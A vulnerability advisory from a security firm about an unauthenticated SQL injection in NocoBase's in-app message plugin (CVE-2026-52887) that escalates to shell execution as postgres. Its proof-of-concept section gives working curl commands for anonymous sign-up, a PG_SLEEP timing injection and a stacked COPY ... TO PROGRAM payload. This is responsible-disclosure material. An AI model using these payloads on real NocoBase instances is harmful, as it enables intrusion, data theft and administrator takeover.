NocoBase: Unauthenticated SQL Injection in myInAppChannels Leading to RCE
Unauthenticated attackers can inject SQL through the unescaped $lt value in the filter parameter of /api/myInAppChannels:list and escalate via stacked statements to code execution as postgres inside the database container.
Advisory ID: TP-2026-013
Product: NocoBase (open-source no-code/low-code platform for building applications and internal tools)
Vulnerability type: SQL injection leading to remote code execution (CWE-89)
CVE: CVE-2026-52887
CVSS 3.1: 10.0 (Critical) · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Affected versions: <= 2.0.60 (plugin @nocobase/plugin-notification-in-app-message)
Fixed in: 2.0.62
Vendor advisory: GHSA-p849-8hwh-84j9
Reported: 26 May 2026
Summary
NocoBase is an open-source no-code/low-code platform for building applications and internal tools. The GET /api/myInAppChannels:list endpoint accepts a filter parameter; for the latestMsgReceiveTimestamp field, the handler splices the supplied $lt value directly into a Sequelize.literal() template without escaping or parameter binding. Because the default ACL exposes the endpoint to any logged-in user and the default configuration allows anonymous sign-up, an unauthenticated attacker can create an account and trigger the injection. The pg driver’s simple query protocol allows stacked statements, and because the shipped docker-compose.yml grants the database role superuser rights, COPY ... TO PROGRAM executes shell commands as the postgres OS user inside the database container. As a result, an anonymous request escalates to remote code execution. turingpoint verified the flow and reported it responsibly to the vendor.
Root cause
In packages/plugins/@nocobase/plugin-notification-in-app-message/src/server/defineMyInAppChannels.ts, the latestMsgReceiveTimestamp filter is built with Sequelize.literal() by interpolating the $lt value, unescaped, into the SQL template string of the form <column-SQL> < <value>, with no escaping or parameter binding. The $lt value comes straight from the request’s filter query parameter. The default ACL (app.acl.allow('myInAppChannels', '*', 'loggedIn')) serves the endpoint to any logged-in user, and the default allowSignUp: true lets an anonymous attacker create such an account. Because the pg driver accepts stacked statements over the simple query protocol, the injection extends beyond data exfiltration to arbitrary SQL statements. Since the shipped docker-compose.yml assigns the database role rolsuper=true, COPY ... TO PROGRAM runs shell code as the postgres user inside the database container.
Proof of Concept
Prerequisite is a reachable NocoBase instance with the default registration enabled:
# 1) Anonymous registration (default config allows self-signup):
curl -X POST -H "Content-Type: application/json" \
-d '{"username":"a","password":"P!ssw0rd1","confirm_password":"P!ssw0rd1"}' \
http://target:13000/api/auth:signUp?authenticator=basic
TOKEN=$(curl -sX POST -H "Content-Type: application/json" \
-d '{"account":"a","password":"P!ssw0rd1"}' \
http://target:13000/api/auth:signIn?authenticator=basic | jq -r .data.token)
# 2) Time-based injection oracle via the $lt filter:
curl -sG -H "Authorization: Bearer $TOKEN" -H "X-Authenticator: basic" \
"http://target:13000/api/myInAppChannels:list" \
--data-urlencode "filter[latestMsgReceiveTimestamp][\$lt]=0) AND 1882=(SELECT 1882 FROM PG_SLEEP(5))-- a"
# 3) Stacked-statement RCE via COPY ... TO PROGRAM:
curl -sG -H "Authorization: Bearer $TOKEN" -H "X-Authenticator: basic" \
"http://target:13000/api/myInAppChannels:list" \
--data-urlencode "filter[latestMsgReceiveTimestamp][\$lt]=0); COPY (SELECT 1) TO PROGRAM 'id > /tmp/PWN_VERIFY.txt'; --"
# Result inside the DB container:
# uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)
Step 2 delays the response by five seconds and thereby proves the injection; step 3 writes the output of id to a file inside the database container and confirms code execution as postgres.
Impact
- Boolean-based, time-based, and stacked-statement SQL injection with no prior privileges (anonymous sign-up suffices).
- Exfiltration of arbitrary data from any table, including password hashes and administrator records.
- Execution of shell commands as the
postgresuser inside the database container viaCOPY ... TO PROGRAM. - Complete loss of confidentiality, integrity, and availability of the database, including takeover of the administrator account.
References
Is Something Like This in Your Software?
Our team found this vulnerability in the course of its work. Have your applications tested by the same specialists, with a penetration test from turingpoint.
